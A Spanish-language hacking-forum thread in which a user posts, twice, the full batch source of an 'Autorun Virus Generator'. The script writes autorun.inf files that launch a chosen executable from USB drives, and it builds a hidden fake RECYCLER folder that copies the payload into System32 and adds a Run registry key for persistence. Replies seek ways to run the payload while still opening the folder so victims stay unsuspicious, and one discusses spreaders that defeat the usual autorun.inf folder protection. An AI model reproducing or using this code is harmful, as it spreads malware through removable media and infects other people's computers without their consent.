hola gelo88! estaba leyendo tu post y me pareció interesante que trates el tema de los autorun.inf, aunque como ya sabrás la solución a los virus autorun.inf es bien simple (crear una carpeta con dicho nombre.. ejem ) pero bueno aquí te dejo un source que tengo desde hace mucho tiempo a ver si te gusta

Código: Seleccionar todo

 @echo off
 @mode con cols=51 lines=14
color 80
title Autorun Virus Generator V1.3
:Main
cls
echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º     Autorun Virus Generator V1.3     º
echo ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
echo º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º
echo ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
echo º ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º
echo º º 1.Generar Autorun º º 2.Generar RECYCLER º º
echo º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ º
echo º ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º
echo º º 3.Meter .exe en Autorun º º  4.Salir  º º
echo º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ÈÍÍÍÍÍÍÍÍÍÍÍÍÍͼ º
echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
set /p opc=
if %opc% == 1 (goto 1)
if %opc% == 2 (goto 2)
if %opc% == 3 (goto 3)
if %opc% == 4 (goto 4)
:1
cls && echo Escriba el nombre y la extension del 
echo ejecutable que quiere que se ejecute.
echo.
set /p name1=
cls && echo Escriba el nombre que quiere que tenga la
echo memoria extraible.
echo.
set /p name2=
cls && echo Escriba el nombre que quiere que tenga la
echo opcion en la ventana del autoplay.
echo.
set /p name3=
cls && echo Pulse una tecla para procesar . . .
pause > nul
echo [Autorun] >> autorun.inf
echo Open=%name1% >> autorun.inf
echo Icon=%%windir%%\System32\SHELL32.DLL,4 >> autorun.inf
echo Label=%name2% >> autorun.inf
echo UseAutoPlay=1 >> autorun.inf
echo action=%name3% >> autorun.inf
echo action= @%name1% >> autorun.inf
echo shell\open=Abrir >> autorun.inf
echo shell\open\Command=%name1% >> autorun.inf
echo shell\open\Default=1 >> autorun.inf
echo shell\explore=Explorar >> autorun.inf
echo shell\explore\Command=%name1% >> autorun.inf
cls && echo.
echo El autorun.inf se ha creado correctamente en el
echo directorio actual.
echo.
pause && goto Main
:2
cls && echo Para que se logre una propagacion al estilo
echo del RECYCLER es necesario crear una carpeta oculta
echo y mover el virus dentro de la carpeta.
echo.
echo Esta seguro que desea continuar?(S/N)
echo.
set /p opc2=
if %opc2% == S (goto 2.1)
if %opc2% == N (goto Main)
:2.1
cls && echo Escriba el nombre y la extension del
echo archivo a propagar.
echo.
set /p name4=
cls && echo Escriba el nombre que quiere que tenga la
echo carpeta RECYCLER.
echo.
set /p name5=
md %name5% > nul && md %name5%\S-1-5-21-1482476501-1644491937-682003330-1013 > nul
echo [.ShellClassInfo] > %name5%\S-1-5-21-1482476501-1644491937-682003330-1013\Desktop.ini
echo CLSID={645FF040-5081-101B-9F08-00AA002F954E} >> %name5%\S-1-5-21-1482476501-1644491937-682003330-1013\Desktop.ini
echo reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v %name4% /t REG_SZ /d %%windir%%\System32\%name4% /f >> %name5%\S-1-5-21-1482476501-1644491937-682003330-1013\RECYCLER.bat
echo copy /y %name4% %windir%\System32\%name4%" > nul >> %name5%\S-1-5-21-1482476501-1644491937-682003330-1013\RECYCLER.bat
move %name4% %name5%\S-1-5-21-1482476501-1644491937-682003330-1013 > nul
attrib +s +h %name5%\*.* /d /s
cls && echo.
echo La carpeta ha sido creada correctamente en el
echo directorio actual.
echo.
pause && goto Main
:3
cls && echo Escriba el nombre y la extension del
echo ejecutable a compilar con el autorun.
echo.
set /p name6=
echo [Autorun] > autorun.inf
echo Open=%name6% >> autorun.inf
echo Icon=%%windir%%\System32\SHELL32.DLL,4 >> autorun.inf
echo UseAutoPlay=1 >> autorun.inf
echo action= @%name6% >> autorun.inf
echo shell\open=Abrir >> autorun.inf
echo shell\open\Command=%name6% >> autorun.inf
echo shell\open\Default=1 >> autorun.inf
echo shell\explore=Explorar >> autorun.inf
echo shell\explore\Command=%name6% >> autorun.inf
copy /b %name6%+autorun.inf %name6%.inf > nul
cls && echo.
echo El ejecutable se ha compilado correctamente con el
echo autorun.
echo.
pause && goto Main
Lo copias al notepad, lo guardas con extensión .bat (porque es Batch) y listo.
si lo vas a usar muy a menudo te recomiendo usar el BatToExe o Bindearlo con el IExpress del propio windows (o con tu propio binder jeje) y así lo tienes como .exe mucho más accesible.

Espero que te sea de utilidad! Un saludo! R-007
Perdona R-007 no me acuerdo si posteastes tu la v1.2
pero la v.1.3 no puede ser xk tiene las mismas cosas que la 1.2
Encima está mal encuadrada Se sale de los bordes.
Si eres el autor original TE PIDO MIS DISCULPAS
Un hombre con una idea nueva es un loco hasta que la idea triunfa (Marc Twain)
http://darkcompany96.blogspot.com
Gracias R-007. Pero creo que con tu programa pasa lo mismo quie con el mio. Que te lanza todo sin problemas pero que luego para entrar en la carpeta no te deja...
Eso creo que es lo que quiere decir gelo88.

Yo lo que quiere es que lance y entre. para no levantar sospechas...

Eso se puede hacer??? Porque a mi desde luego que también me interesa...

Gracias
no tienes porque disculparte carlos-carlos, ninguna de las versiones me pertenece (aunque lo pueda programar perfectamente xD), puede que te confundas con un downloader en Batch jejejej (ese si es mio ^^) que algun otro dia volveré a postear
simplemente tenia ese code en el baúl (bastante grande por cierto) de los recuerdos y cuando vi el tema del autorun.inf me acordé al instante y decidí postearlo por si os servía de ayuda jejejej (lo que sea por ayudar ).
Si, se salía de los bordes. Aqui os lo dejo arregladito vale?

Código: Seleccionar todo

@echo off
@mode con cols=51 lines=14
color 80
title Autorun Virus Generator V1.3
:Main
cls
echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º   Autorun Virus Generator V1.3  mod by R-007   º
echo ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
echo º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º
echo ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
echo º ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º
echo º º 1.Generar Autorun   º º 2.Generar RECYCLER º º
echo º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ º
echo º ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º
echo º º 3.Meter .exe en Autorun   º º 4.Salir      º º
echo º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ÈÍÍÍÍÍÍÍÍÍÍÍÍÍͼ º
echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
set /p opc=
if %opc% == 1 (goto 1)
if %opc% == 2 (goto 2)
if %opc% == 3 (goto 3)
if %opc% == 4 (goto 4)
:1
cls && echo Escriba el nombre y la extension del
echo ejecutable que quiere que se ejecute.
echo.
set /p name1=
cls && echo Escriba el nombre que quiere que tenga la
echo memoria extraible.
echo.
set /p name2=
cls && echo Escriba el nombre que quiere que tenga la
echo opcion en la ventana del autoplay.
echo.
set /p name3=
cls && echo Pulse una tecla para procesar . . .
pause > nul
echo [Autorun] >> autorun.inf
echo Open=%name1% >> autorun.inf
echo Icon=%%windir%%\System32\SHELL32.DLL,4 >> autorun.inf
echo Label=%name2% >> autorun.inf
echo UseAutoPlay=1 >> autorun.inf
echo action=%name3% >> autorun.inf
echo action= @%name1% >> autorun.inf
echo shell\open=Abrir >> autorun.inf
echo shell\open\Command=%name1% >> autorun.inf
echo shell\open\Default=1 >> autorun.inf
echo shell\explore=Explorar >> autorun.inf
echo shell\explore\Command=%name1% >> autorun.inf
cls && echo.
echo El autorun.inf se ha creado correctamente en el
echo directorio actual.
echo.
pause && goto Main
:2
cls && echo Para que se logre una propagacion al estilo
echo del RECYCLER es necesario crear una carpeta oculta
echo y mover el virus dentro de la carpeta.
echo.
echo Esta seguro que desea continuar?(S/N)
echo.
set /p opc2=
if %opc2% == S (goto 2.1)
if %opc2% == N (goto Main)
:2.1
cls && echo Escriba el nombre y la extension del
echo archivo a propagar.
echo.
set /p name4=
cls && echo Escriba el nombre que quiere que tenga la
echo carpeta RECYCLER.
echo.
set /p name5=
md %name5% > nul && md %name5%\S-1-5-21-1482476501-1644491937-682003330-1013 > nul
echo [.ShellClassInfo] > %name5%\S-1-5-21-1482476501-1644491937-682003330-1013\Desktop.ini
echo CLSID={645FF040-5081-101B-9F08-00AA002F954E} >> %name5%\S-1-5-21-1482476501-1644491937-

682003330-1013\Desktop.ini
echo reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v %name4% /t REG_SZ /d %

%windir%%\System32\%name4% /f >> %name5%\S-1-5-21-1482476501-1644491937-682003330-

1013\RECYCLER.bat
echo copy /y %name4% %windir%\System32\%name4%" > nul >> %name5%\S-1-5-21-1482476501-1644491937

-682003330-1013\RECYCLER.bat
move %name4% %name5%\S-1-5-21-1482476501-1644491937-682003330-1013 > nul
attrib +s +h %name5%\*.* /d /s
cls && echo.
echo La carpeta ha sido creada correctamente en el
echo directorio actual.
echo.
pause && goto Main
:3
cls && echo Escriba el nombre y la extension del
echo ejecutable a compilar con el autorun.
echo.
set /p name6=
echo [Autorun] > autorun.inf
echo Open=%name6% >> autorun.inf
echo Icon=%%windir%%\System32\SHELL32.DLL,4 >> autorun.inf
echo UseAutoPlay=1 >> autorun.inf
echo action= @%name6% >> autorun.inf
echo shell\open=Abrir >> autorun.inf
echo shell\open\Command=%name6% >> autorun.inf
echo shell\open\Default=1 >> autorun.inf
echo shell\explore=Explorar >> autorun.inf
echo shell\explore\Command=%name6% >> autorun.inf
copy /b %name6%+autorun.inf %name6%.inf > nul
cls && echo.
echo El ejecutable se ha compilado correctamente con el
echo autorun.
echo.
pause && goto Main
gracias por los animos! asi me alentais a seguir posteando y a seguir ayudandoos a lo que pueda
Un saludo! R-007

EDIT: illera88 seguiré investigando! no os despegueis de este tema ok? trataré de daros una solución jejej
aquí alomejor encontrais mas informacion.. yo no puedo probar el autorun en ninguna de las memorias porque las tengo protegidas..
[Enlace externo eliminado para invitados] ... ciona.html

Seguiré investigando! Un saludo!
Es interesante lo que comentas. Aver si alguno de los de "arriba" te echa una mano porque tener un autorun que al abrir el dispositivo se ejecute el exe y ademas realmente se abra la carpeta es un chollo :D

Un ayudita por aqui!!!! ;)

Un saludo
[Enlace externo eliminado para invitados]
más información que aquí no creo que encontreis...
pero para que os hagais una idea, el sistema es el mismo que para un CD con autoarranque.
si bien es facil parchear el USB con una carpeta que se llame autorun.inf, lo interesante sería que en el uso de un spreader podamos quitar esa carpeta y volver a poner nuestro autorun junto con nuestro "archivito" (como dirían los ingleses "specially crafted")

Un saludo! R-007
If len(app.path) = 3 then Shell "explorer.exe " & app.path, vbNormalFocus

P.D: En vista tiene algunos errores (Lo se por que yo usaba el mismo jeje)

Suerte!
github.com/Slek-Z
Pues te va a sonar demasiado cutre, pero es que no entiendo lo que quieres, si lo unico que quieres es que se abra un archivo a tu elección y que no haya problemas para abrir la carpeta lo mas simple es el típico:

Código: Seleccionar todo

[autorun]
Open=tuarchivo.exe
Nada más que con eso ya tienes lo que quieres (en XP), supongo que lo habré entendido mal

Saludos
Imagen
Quieres resolver tu problema completamente


crea una carpeta en tu pc
pasa todos tus archivos a esa carpeta
despues que tenga el usb completamente limpio
te bajas este archivo comprimido
[Enlace externo eliminado para invitados]

Dentro de ese archivo comprimido ahi tres carpetas las metes dentro del usb
y luego metes todos tus archivos
reinicia el usb y listo no tendras mas problema con tu usb en cualquier windows espero que el caso sea cerrado y solucionado completamente

comenten y agradescan
si la envidia fuera tinosa cuantas tinosa hubieran
Responder

Volver a “Otros lenguajes”